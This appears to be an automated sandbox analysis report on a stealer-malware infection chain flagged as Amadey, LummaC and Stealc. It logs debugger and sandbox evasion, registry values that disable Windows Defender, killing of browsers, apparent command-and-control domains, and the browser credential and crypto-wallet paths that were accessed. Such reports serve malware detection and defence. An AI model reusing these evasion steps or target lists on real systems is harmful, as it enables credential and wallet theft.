Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: CT1ROX8L8OCI432H.exe, 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmp, R4UI5PZ4W045Z6XA.exe, 00000004.00000002.2329050302.0000000000948000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2350034023.00000000006C8000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000006.00000002.2366078572.00000000006C8000.00000040.00000001.01000000.0000000B.sdmp, 996773cd54.exe, 0000000A.00000002.2820727012.0000000001140000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000002.3007190429.0000000001140000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 21024c5511.exe, 0000000E.00000003.2999480700.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2973927647.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2979596133.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2958108070.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2933392825.0000000001064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWWA
Source: 21024c5511.exe, 0000000E.00000003.2888487877.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Code function: 3_2_00442177 rdtsc

3_2_00442177

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Code function: 3_2_002CB7C6 LdrInitializeThunk,

3_2_002CB7C6

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 996773cd54.exe PID: 5644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 996773cd54.exe PID: 3960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5680, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2042743399.00000000053A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe "C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe "C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe "C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003096001\num.exe "C:\Users\user\AppData\Local\Temp\1003096001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 036e90e395.exe, 0000000B.00000002.2882888364.0000000000572000.00000002.00000001.01000000.0000000F.sdmp, 036e90e395.exe, 0000001F.00000000.2980992335.0000000000572000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: CT1ROX8L8OCI432H.exe, CT1ROX8L8OCI432H.exe, 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: \_PProgram Manager
Source: firefox.exe, 00000019.00000002.2999696329.000000851DC3B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: skotes.exe, skotes.exe, 00000006.00000002.2366078572.00000000006C8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: RProgram Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003096001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003096001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2150740963.0000000001772000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4.2.R4UI5PZ4W045Z6XA.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2288392617.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2607283101.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2349959438.00000000004D1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3059276891.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2365987556.00000000004D1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2325690009.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2328973567.0000000000751000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2309749751.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 036e90e395.exe PID: 5316, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 21024c5511.exe PID: 5560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 21024c5511.exe PID: 4228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.0.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.996773cd54.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.996773cd54.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.num.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000002.3081504525.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3081627351.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2911813021.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3066155076.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2819953969.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2876408637.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2813065067.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2876347937.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2857907960.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3066029603.0000000000861000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2771688785.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3005019658.0000000000CD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2857985543.000000000087E000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 996773cd54.exe PID: 5644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 996773cd54.exe PID: 3960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5680, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 21024c5511.exe, 0000000E.00000003.2956600611.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 21024c5511.exe, 0000000E.00000003.2956600611.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 21024c5511.exe, 0000000E.00000003.2956600611.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 21024c5511.exe, 0000000E.00000003.2973927647.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: 21024c5511.exe, 0000000E.00000003.2956600611.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
